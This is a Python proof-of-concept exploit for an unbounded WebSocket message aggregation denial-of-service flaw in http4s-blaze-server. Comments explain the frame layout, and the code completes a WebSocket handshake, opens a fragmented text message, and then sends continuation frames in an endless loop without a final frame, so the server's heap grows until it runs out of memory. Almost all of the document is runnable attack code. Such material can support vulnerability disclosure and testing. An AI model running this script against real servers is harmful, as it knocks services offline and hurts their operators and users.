http4s-blaze-server Unbounded WebSocket Message Aggregation DoS

# Step 1: complete the WebSocket handshake (HTTP/1.1 upgrade)
# Step 2: send a TEXT frame with FIN=0  (starts a fragmented message)
# Step 3: loop forever sending CONTINUATION frames with FIN=0
#
# RFC 6455 wire layout (client-to-server, masked):
#   byte 0:  FIN|RSV|opcode
#   byte 1:  MASK bit + payload length
#   bytes 2-5: masking key
#   bytes 6+: masked payload
#
# Opening fragment: opcode=0x1 (Text), FIN=0 => byte0=0x01
# Continuation:     opcode=0x0 (Cont), FIN=0 => byte0=0x00
# FIN=1 is NEVER sent, so the server never delivers the message
# and keeps appending to its internal buffer forever.

import socket, struct, os, time

HOST = "target"
PORT = 8080
PATH = "/ws"          # any WebSocket route
FRAME_PAYLOAD = b"A" * 1024   # 1 KB per frame; small enough to be cheap

def mask(data: bytes) -> tuple:
    key = os.urandom(4)
    masked = bytes(b ^ key[i % 4] for i, b in enumerate(data))
    return key, masked

def ws_frame(opcode: int, fin: bool, payload: bytes) -> bytes:
    byte0 = (0x80 if fin else 0x00) | (opcode & 0x0F)
    key, masked_payload = mask(payload)
    length = len(masked_payload)
    if length <= 125:
        byte1 = 0x80 | length          # MASK bit set
        header = struct.pack("BB", byte0, byte1)
    elif length <= 65535:
        byte1 = 0x80 | 126
        header = struct.pack(">BBH", byte0, byte1, length)
    else:
        byte1 = 0x80 | 127
        header = struct.pack(">BBQ", byte0, byte1, length)
    return header + key + masked_payload

def send_upgrade(sock, host, path):
    key = "dGhlIHNhbXBsZSBub25jZQ=="  # static for PoC
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Upgrade: websocket\r\n"
        "Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: {key}\r\n"
        "Sec-WebSocket-Version: 13\r\n"
        "\r\n"
    )
    sock.sendall(req.encode())
    resp = b""
    while b"\r\n\r\n" not in resp:
        resp += sock.recv(4096)
    assert b"101" in resp, "Handshake failed"

sock = socket.create_connection((HOST, PORT))
send_upgrade(sock, HOST, PATH)

# Opening fragment: Text frame, FIN=0
sock.sendall(ws_frame(0x1, fin=False, payload=FRAME_PAYLOAD))

# Endless continuation frames, FIN=0 -- heap grows without bound
print("[*] Flooding continuation frames. Server heap grows until OOM...")
while True:
    sock.sendall(ws_frame(0x0, fin=False, payload=FRAME_PAYLOAD))
    # no sleep -- send as fast as the socket allows